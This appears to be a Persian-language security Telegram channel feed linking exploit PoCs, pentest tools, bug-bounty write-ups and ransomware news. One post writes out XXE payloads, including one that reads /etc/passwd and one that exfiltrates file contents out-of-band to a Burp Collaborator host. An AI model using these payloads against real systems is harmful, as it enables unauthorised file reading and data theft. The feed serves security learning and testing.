کد اثبات آسیب پذیری شناسه CVE-2020-0601 که با نام CurveBall (روشی از پرتاب توپ بیسبال به شکل پیچ دار) شناخته میشود

https://github.com/ollypwn/cve-2020-0601


#windows
#poc
#nsa
#curveball


@sec_nerd

اسکریپت NSE برای nmap مخصوص آسیب پذیری citrix

https://github.com/nmap/nmap/pull/1893/commits/2092668b39c9c56eb083cc68dcd8250ebf0d3479


#nmap
#citrix


@sec_nerd

The World of Contradictions...


#off_topic

@sec_nerd

شرکت bitdefender برای باج افزار paradise برنامه رمزگشا منتشر کرد


https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool/


دانلود



#ransomware
#bitdefender
#paradise


@sec_nerd

رایت آپ با موضوع دور زدن فرایند احراز هویت

Authentication bypass

https://link.medium.com/6POLXbk7j3
https://link.medium.com/fjRpVHTkg3
https://link.medium.com/FBilq4m7j3
https://link.medium.com/5Etuo0n7j3
https://link.medium.com/Zq5cjGn7j3
https://xpoc.pro/oauth-authentication-bypass-on-airbnb-acquisition-using-weird-1-char-open-redirect
https://link.medium.com/TC85brt7j3
https://randorisec.fr/client-side-validation
https://link.medium.com/IYzPwWK7j3
https://link.medium.com/SZDewmL7j3

#bugbounty
#pentest
#writeup


@sec_nerd

ابزارهای مفید برای عملیات تست نفوذ

https://github.com/BankSecurity/Red_Team

#tools
#pentest


@sec_nerd

#citrix #shitrix CVE-2019-19781 #DFIR tip:
Check all paths that have aliases in /etc/httpd.conf where web shells can be executed. Outside of /netscaler/ , .php backdoors will work in:

/var/ns_gui/{n_top,shared,support}
/var/vpn/theme/


@sec_nerd

beta.shodan.io/search/filters #shodan #shodansafari


@sec_nerd

رایت آپ چالش جدید HTB با نام TartarSauce

https://medium.com/@ranakhalil101/hack-the-box-tartarsauce-writeup-w-o-metasploit-e73393d4a0cd


#writeup
#htb


@sec_nerd

ابزار Cobalt Strike برای بررسی و تشخیص حسابهای دارای پسوردهای ضعیف در اکتیودایرکتوری


https://github.com/outflanknl/Spray-AD


#AD
#windows
#privesc


@sec_nerd

چک لیست بالابردن سطح دسترسی در ویندوز و لینوکس

https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist


#privesc
#windows
#linux


@sec_nerd

رایت آپهای بالابردن سطح دسترسی


https://link.medium.com/9EK64aZ0p3
https://link.medium.com/i3r0isZ0p3
https://link.medium.com/RaArwKZ0p3
https://link.medium.com/z3lGkZZ0p3
https://shawarkhan.com/2019/08/leveraging-angularjs-based-xss-to-privilege-escalation.html
https://link.medium.com/C8SKRh00p3
https://whitehatfamilyguy.blogspot.com/2019/06/google-adwordsprivilege-escalation-read.html
https://link.medium.com/SvC3cI00p3
https://gauravnarwani.com/priv-esc-highest-admin

#bugbounty
#writeup
#privesc


@sec_nerd

اکسپلویت کردن آسیب پذیری XXE

https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9

#writeup
#xxe
#pentest


@sec_nerd

آسیب پذیری که پسورد paypal شما را نمایان میکند!

https://medium.com/@alex.birsan/the-bug-that-exposed-your-paypal-password-539fc2896da9


#writeup
#paypal
#bugbounty


@sec_nerd

رایت آپ کشف آسیب پذیری XSS در SMC Networks

https://sku11army.blogspot.com/2020/01/smc-networks-stored-cross-site.html


#bugbounty
#xss
#writeup


@sec_nerd

برخی روش های استفاده از آسیب پذیری XXE

XXE via File Upload

<!DOCTYPE test [ <!E NTITY xxe SYSTEM "file:/// etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="https://w3.org/2000/svg" ....version="1.1">
<text font-size="40" x="0" y="16"> &xxe;



XXE Attacks via Modified Content Type

POST /hackingman HTTP/1.0
Content-Type: text/html
Content-Length: 7
<?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>



Exploiting Blind XXE to Exfiltrate Data Out-of-Band

<!ENTI TY % file SYSTEM "f ile:/ //etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfi ltrate SYSTEM 'https://im81nr4zhac2lafxnm997qwk6bc20r.burpcollaborator.net/?x=%file;'>">
%ev al;
%exfiltrate;



Exploiting blind XXE to retrieve data via error messages

<!EN ITY % file SYSTEM "fil e:///etc/pa sswd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///none xistent/%file;'>">
%eval;
%error;




#xxe


@sec_nerd

پنجاه مسیر و فایلی که در اسکن های ۲۴ ساعت گذشته توسط اسکنرها بررسی شده اند

اغلب این درخواستها به citrix مرتبط هستند



#citrix
#pentest


@sec_nerd

باج افزار جدیدی با نام BitPyLock قبل از رمزنگاری اطلاعات، آنها را میدزدد و تهدید به انتشار داده ها میکند.
این باج افزار در نسخه های جدید خود برای رمزگشایی از تمام شبکه ی آلوده ۵ بیت کوین درخواست می نماید.


اطلاعات بیشتر:
https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/


#ransomware
#news

@sec_nerd